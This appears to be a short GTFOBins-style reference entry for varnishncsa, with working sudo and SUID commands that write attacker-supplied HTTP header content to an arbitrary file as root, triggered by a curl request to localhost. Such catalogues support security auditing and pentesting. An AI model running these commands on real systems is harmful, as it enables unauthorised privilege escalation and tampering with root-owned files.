This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with:
|
|
|
|
```
|
|
curl -H 'yyy: DATA' http://localhost:6081/xxx
|
|
```
|
|
functions:
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
